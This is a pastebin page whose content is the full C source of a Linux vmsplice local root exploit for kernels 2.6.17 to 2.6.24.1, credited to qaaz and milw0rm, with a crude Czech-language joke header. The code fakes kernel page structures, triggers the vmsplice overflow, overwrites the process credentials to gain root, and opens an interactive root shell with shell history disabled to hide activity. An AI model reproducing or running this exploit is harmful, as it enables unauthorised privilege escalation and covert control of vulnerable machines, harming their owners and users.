pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

C pastebin - collaborative debugging tool View Help


Posted by Conap on Tue 12 Feb 15:23
report abuse | download | new post

  1. /*
  2.  * jessica_biel_naked_in_my_bed.c
  3.  *
  4.  * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
  5.  * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
  6.  * Stejnak je to stare jak cyp a aj jakesyk rozbite.
  7.  *
  8.  * Linux vmsplice Local Root Exploit
  9.  * By qaaz
  10.  *
  11.  * Linux 2.6.17 - 2.6.24.1
  12.  *
  13.  * This is quite old code and I had to rewrite it to even compile.
  14.  * It should work well, but I don't remeber original intent of all
  15.  * the code, so I'm not 100% sure about it. You've been warned ;)
  16.  *
  17.  * -static -Wno-format  
  18.  */
  19. #define _GNU_SOURCE
  20. #include <stdio.h>
  21. #include <errno.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <malloc.h>
  25. #include <limits.h>
  26. #include <signal.h>
  27. #include <unistd.h>
  28. #include <sys/uio.h>
  29. #include <sys/mman.h>
  30. #include <asm/page.h>
  31. #define __KERNEL__
  32. #include <asm/unistd.h>
  33.  
  34. #define PIPE_BUFFERS    16
  35. #define PG_compound     14
  36. #define uint            unsigned int
  37. #define static_inline   static inline __attribute__((always_inline))
  38. #define STACK(x)        (x + sizeof(x) - 40)
  39.  
  40. struct page {
  41.         unsigned long flags;
  42.         int count;
  43.         int mapcount;
  44.         unsigned long private;
  45.         void *mapping;
  46.         unsigned long index;
  47.         struct { long next, prev; } lru;
  48. };
  49.  
  50. void    exit_code();
  51. char    exit_stack[1024 * 1024];
  52.  
  53. void    die(char *msg, int err)
  54. {
  55.         printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  56.         fflush(stdout);
  57.         fflush(stderr);
  58.         exit(1);
  59. }
  60.  
  61. #if defined (__i386__)
  62.  
  63. #ifndef __NR_vmsplice
  64. #define __NR_vmsplice   316
  65. #endif
  66.  
  67. #define USER_CS         0x73
  68. #define USER_SS         0x7b
  69. #define USER_FL         0x246
  70.  
  71. static_inline
  72. void    exit_kernel()
  73. {
  74.         __asm__ __volatile__ (
  75.         "movl %0, 0x10(%%esp) ;"
  76.         "movl %1, 0x0c(%%esp) ;"
  77.         "movl %2, 0x08(%%esp) ;"
  78.         "movl %3, 0x04(%%esp) ;"
  79.         "movl %4, 0x00(%%esp) ;"
  80.         "iret"
  81.         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  82.             "i" (USER_CS), "r" (exit_code)
  83.         );
  84. }
  85.  
  86. static_inline
  87. void *  get_current()
  88. {
  89.         unsigned long curr;
  90.         __asm__ __volatile__ (
  91.         "movl %%esp, %%eax ;"
  92.         "andl %1, %%eax ;"
  93.         "movl (%%eax), %0"
  94.         : "=r" (curr)
  95.         : "i" (~8191)
  96.         );
  97.         return (void *) curr;
  98. }
  99.  
  100. #elif defined (__x86_64__)
  101.  
  102. #ifndef __NR_vmsplice
  103. #define __NR_vmsplice   278
  104. #endif
  105.  
  106. #define USER_CS         0x23
  107. #define USER_SS         0x2b
  108. #define USER_FL         0x246
  109.  
  110. static_inline
  111. void    exit_kernel()
  112. {
  113.         __asm__ __volatile__ (
  114.         "swapgs ;"
  115.         "movq %0, 0x20(%%rsp) ;"
  116.         "movq %1, 0x18(%%rsp) ;"
  117.         "movq %2, 0x10(%%rsp) ;"
  118.         "movq %3, 0x08(%%rsp) ;"
  119.         "movq %4, 0x00(%%rsp) ;"
  120.         "iretq"
  121.         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  122.             "i" (USER_CS), "r" (exit_code)
  123.         );
  124. }
  125.  
  126. static_inline
  127. void *  get_current()
  128. {
  129.         unsigned long curr;
  130.         __asm__ __volatile__ (
  131.         "movq %%gs:(0), %0"
  132.         : "=r" (curr)
  133.         );
  134.         return (void *) curr;
  135. }
  136.  
  137. #else
  138. #error "unsupported arch"
  139. #endif
  140.  
  141. #if defined (_syscall4)
  142. #define __NR__vmsplice  __NR_vmsplice
  143. _syscall4(
  144.         long, _vmsplice,
  145.         int, fd,
  146.         struct iovec *, iov,
  147.         unsigned long, nr_segs,
  148.         unsigned int, flags)
  149.  
  150. #else
  151. #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  152. #endif
  153.  
  154. static uint uid, gid;
  155.  
  156. void    kernel_code()
  157. {
  158.         int     i;
  159.         uint    *p = get_current();
  160.  
  161.         for (i = 0; i < 1024-13; i++) {
  162.                 if (p[0] == uid && p[1] == uid &&
  163.                     p[2] == uid && p[3] == uid &&
  164.                     p[4] == gid && p[5] == gid &&
  165.                     p[6] == gid && p[7] == gid) {
  166.                         p[0] = p[1] = p[2] = p[3] = 0;
  167.                         p[4] = p[5] = p[6] = p[7] = 0;
  168.                         p = (uint *) ((char *)(p + 8) + sizeof(void *));
  169.                         p[0] = p[1] = p[2] = ~0;
  170.                         break;
  171.                 }
  172.                 p++;
  173.         }       
  174.  
  175.         exit_kernel();
  176. }
  177.  
  178. void    exit_code()
  179. {
  180.         if (getuid() != 0)
  181.                 die("wtf", 0);
  182.  
  183.         printf("[+] root\n");
  184.         putenv("HISTFILE=/dev/null");
  185.         execl("/bin/bash", "bash", "-i", NULL);
  186.         die("/bin/bash", errno);
  187. }
  188.  
  189. int     main(int argc, char *argv[])
  190. {
  191.         int             pi[2];
  192.         size_t          map_size;
  193.         char *          map_addr;
  194.         struct iovec    iov;
  195.         struct page *   pages[5];
  196.  
  197.         uid = getuid();
  198.         gid = getgid();
  199.         setresuid(uid, uid, uid);
  200.         setresgid(gid, gid, gid);
  201.  
  202.         printf("-----------------------------------\n");
  203.         printf(" Linux vmsplice Local Root Exploit\n");
  204.         printf(" By qaaz\n");
  205.         printf("-----------------------------------\n");
  206.  
  207.         if (!uid || !gid)
  208.                 die("!@#$", 0);
  209.  
  210.         /*****/
  211.         pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  212.         pages[1] = pages[0] + 1;
  213.  
  214.         map_size = PAGE_SIZE;
  215.         map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  216.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  217.         if (map_addr == MAP_FAILED)
  218.                 die("mmap", errno);
  219.  
  220.         memset(map_addr, 0, map_size);
  221.         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  222.         printf("[+] page: 0x%lx\n", pages[0]);
  223.         printf("[+] page: 0x%lx\n", pages[1]);
  224.  
  225.         pages[0]->flags    = 1 << PG_compound;
  226.         pages[0]->private  = (unsigned long) pages[0];
  227.         pages[0]->count    = 1;
  228.         pages[1]->lru.next = (long) kernel_code;
  229.  
  230.         /*****/
  231.         pages[2] = *(void **) pages[0];
  232.         pages[3] = pages[2] + 1;
  233.  
  234.         map_size = PAGE_SIZE;
  235.         map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  236.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  237.         if (map_addr == MAP_FAILED)
  238.                 die("mmap", errno);
  239.  
  240.         memset(map_addr, 0, map_size);
  241.         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  242.         printf("[+] page: 0x%lx\n", pages[2]);
  243.         printf("[+] page: 0x%lx\n", pages[3]);
  244.  
  245.         pages[2]->flags    = 1 << PG_compound;
  246.         pages[2]->private  = (unsigned long) pages[2];
  247.         pages[2]->count    = 1;
  248.         pages[3]->lru.next = (long) kernel_code;
  249.  
  250.         /*****/
  251.         pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  252.         map_size = PAGE_SIZE;
  253.         map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  254.                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  255.         if (map_addr == MAP_FAILED)
  256.                 die("mmap", errno);
  257.         memset(map_addr, 0, map_size);
  258.         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  259.         printf("[+] page: 0x%lx\n", pages[4]);
  260.  
  261.         /*****/
  262.         map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  263.         map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  264.                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  265.         if (map_addr == MAP_FAILED)
  266.                 die("mmap", errno);
  267.  
  268.         memset(map_addr, 0, map_size);
  269.         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  270.  
  271.         /*****/
  272.         map_size -= 2 * PAGE_SIZE;
  273.         if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  274.                 die("munmap", errno);
  275.  
  276.         /*****/
  277.         if (pipe(pi) < 0) die("pipe", errno);
  278.         close(pi[0]);
  279.  
  280.         iov.iov_base = map_addr;
  281.         iov.iov_len  = ULONG_MAX;
  282.  
  283.         signal(SIGPIPE, exit_code);
  284.         _vmsplice(pi[1], &iov, 1, 0);
  285.         die("vmsplice", errno);
  286.         return 0;
  287. }
  288.  
  289. // milw0rm.com [2008-02-09]

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with @@


Remember me so that I can delete my post